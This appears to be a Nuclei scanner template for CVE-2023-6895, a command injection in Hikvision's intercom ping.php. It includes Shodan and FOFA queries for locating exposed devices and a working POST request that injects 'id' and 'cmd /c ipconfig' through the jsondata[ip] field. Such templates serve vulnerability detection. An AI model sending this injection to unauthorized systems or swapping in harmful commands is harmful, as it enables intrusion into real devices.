id: CVE-2023-6895

info:
  name: Hikvision IP ping.php - Command Execution
  author: DhiyaneshDk,archer
  severity: critical
  description: |
    A vulnerability was found in Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK). It has been declared as critical. This vulnerability affects unknown code of the file /php/ping.php. The manipulation of the argument jsondata[ip] with the input netstat -ano leads to os command injection. The exploit has been disclosed to the public and may be used. Upgrading to version 4.1.0 is able to address this issue. It is recommended to upgrade the affected component. VDB-248254 is the identifier assigned to this vulnerability.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands via the jsondata[ip] parameter, potentially gaining complete control over the Hikvision Intercom Broadcasting System.
  remediation: |
    Upgrade to Hikvision Intercom Broadcasting System version 4.1.0 or later.
  reference:
    - https://vuldb.com/?ctiid.248254
    - https://vuldb.com/?id.248254
    - https://github.com/tanjiti/sec_profile
    - https://github.com/wy876/POC
    - https://github.com/xingchennb/POC-
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6895
    cwe-id: CWE-78
    epss-score: 0.89138
    epss-percentile: 0.99763
    cpe: cpe:2.3:o:hikvision:intercom_broadcast_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: hikvision
    product: intercom_broadcast_system
    shodan-query: http.favicon.hash:"-1830859634"
    fofa-query: "icon_hash=\"-1830859634\""
  tags: cve,cve2023,hikvision,rce,vuln,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/php/ping.php"
    body: "jsondata%5Btype%5D=99&jsondata%5Bip%5D={{command}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"

    payloads:
      command:
        - 'id'
        - 'cmd /c ipconfig'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "Windows IP"
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a004630440220431ec4c4bd8879f6ee88f2fd22fed3d908813f90548258b9c00a566d600eb7e502202cbc62e165b34bc5567c6ebb9546ecbd1c894904443bb62b7c00bdc7f40a6239:922c64590222798bb761d5b6d8e72950